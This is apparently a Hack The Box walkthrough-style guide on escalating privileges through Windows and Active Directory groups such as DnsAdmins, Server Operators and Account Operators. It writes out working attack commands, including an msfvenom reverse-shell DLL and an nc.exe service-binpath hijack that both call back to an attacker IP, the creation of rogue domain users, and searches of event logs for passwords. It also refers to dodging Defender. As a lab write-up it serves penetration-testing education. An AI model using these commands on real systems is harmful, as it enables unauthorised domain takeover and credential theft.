Privileged Windows groups: DnsAdmins, Server Operators and more

On Windows, many groups that sound like "helpers" are really a direct path to SYSTEM or Domain Admin. Microsoft recommends keeping several of them empty and treating them almost like administrators, but in practice they get handed out to service accounts and support staff. On Hack The Box they are a very common escalation: you land as a user, check their groups, and one of them is the key.

This guide goes group by group: how to tell you are in it, the exact command to abuse it, and which retired box uses it.

Requirements

• A shell on the target as the user in the group, usually with Evil-WinRM.
• On your box, Impacket (smbserver) and msfvenom to build DLLs and executables.
• To practise: Resolute (DnsAdmins), Forest (Account Operators), Cascade (AD Recycle Bin) and Monteverde (Azure Admins).

Step 1: which groups are you in

From the shell:

whoami /groups
net user ryan /domain

GROUP INFORMATION
-----------------
Group Name                                 Type             SID          Attributes
========================================== ================ ============ ==================================================
MEGABANK\Contractors                       Group            S-1-5-21-... Mandatory group, Enabled by default, Enabled group
MEGABANK\DnsAdmins                         Alias            S-1-5-21-... Mandatory group, Enabled by default, Enabled group, Local Group

whoami /groups also shows nested groups (here ryan is in Contractors and Contractors is in DnsAdmins), which net user does not. In BloodHound, the user's Group Membership tab sums them up.

The quick table

DnsAdmins

DnsAdmins members can tell the DNS service to load a DLL when it starts. The service runs as SYSTEM, and in AD it usually lives on the domain controller itself.

Build the DLL and serve it over SMB from your box:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f dll -o pwn.dll
impacket-smbserver share . -smb2support

On the target:

dnscmd.exe /config /serverlevelplugindll \\10.10.14.5\share\pwn.dll
sc.exe stop dns
sc.exe start dns

Registry property serverlevelplugindll successfully reset.
Command completed successfully.

With nc -lvnp 443 listening, you get a shell as nt authority\system when the service starts. That is the privesc on Resolute.

Server Operators

They can modify and restart system services. Change the executable path of one that runs as SYSTEM:

upload nc.exe
sc.exe config VSS binpath="C:\Users\svc\Documents\nc.exe -e cmd.exe 10.10.14.5 443"
sc.exe stop VSS
sc.exe start VSS

[SC] ChangeServiceConfig SUCCESS
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.

FAILED 1053 is expected: nc.exe is not a real service and Windows kills it after 30 seconds, but the shell has already arrived. If you want something that lasts, use net localgroup administrators svc /add as the command and log in again.

Account Operators

They can create users and add them to almost any group that is not an admin group. On Forest the user is in Account Operators through nesting, and the useful group is Exchange Windows Permissions, which has WriteDacl on the domain:

net user pwn Password123! /add /domain
net group "Exchange Windows Permissions" pwn /add

From there you grant yourself DCSync rights and dump the hashes, as the DCSync and Golden Ticket guide explains.

Backup Operators and SeBackupPrivilege

Members can read any file regardless of permissions, in order to back it up. That includes the SAM and SYSTEM hives and, on a DC, the ntds.dit database. The procedure with reg save, diskshadow and robocopy /b is in Windows credential dumping, and you can practise it on Blackfield.

Print Operators

They hold SeLoadDriverPrivilege: they can load a kernel driver. The classic technique loads Capcom.sys, a signed driver with a bug that runs code as SYSTEM, using the EoPLoadDriver and ExploitCapcom tools. It is the privesc on Fuse. Since Windows 10 1803 you can no longer load a driver from a path in the user's registry hive, so it only works on older systems.

AD Recycle Bin

This group can read the domain's deleted objects, which keep many of their attributes. Look for deleted accounts:

Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects -Properties * |
  Select-Object Name,sAMAccountName,cascadeLegacyPwd,Description

On Cascade the deleted TempAdmin account has a Base64 cascadeLegacyPwd attribute. Decoded (echo '...' | base64 -d), it is the administrator's password.

Azure Admins and Azure AD Connect

If the server runs Azure AD Connect (look for C:\Program Files\Microsoft Azure AD Sync), its database stores, encrypted, the password of the account that syncs to Azure, which usually has DCSync rights. Members of Azure Admins or ADSyncAdmins can read and decrypt it with public scripts such as Adam Chester's (xpn) or AdDecrypt. On Monteverde it hands you the administrator's password directly.

Event Log Readers

They can read the Security log. If process creation auditing with command lines is on (event 4688), it is easy to find passwords passed as arguments:

wevtutil qe Security /rd:true /f:text /q:"*[System[(EventID=4688)]]" | findstr /i "/user pass"

Get-WinEvent -FilterHashtable @{LogName='Security';Id=4688} |
  Where-Object { $_.Message -match 'pass|/user' } | Select-Object -First 20 -ExpandProperty Message

Common mistakes

• sc config does nothing in PowerShell: sc is an alias for Set-Content and creates a file called config. Always use sc.exe.
• You add yourself to a group and nothing changes: groups are loaded at logon. Close the Evil-WinRM session and log back in, or request a new ticket.
• dnscmd returns ERROR_ACCESS_DENIED: you are not in DnsAdmins (or in a nested group that is). Check whoami /groups.
• sc.exe stop dns returns Access is denied: DnsAdmins cannot always restart the service. On HTB it can; in a real environment you may have to wait for the server to reboot.
• The DLL or executable vanishes after upload: Defender deleted it. Switch payloads or compile your own (see EDR evasion).

What next

Token privileges (SeImpersonate, SeDebug...) are a different thing from groups: they are covered in SeImpersonate and potatoes. The privileged groups item is in the Active Directory checklist and in the post-exploitation one.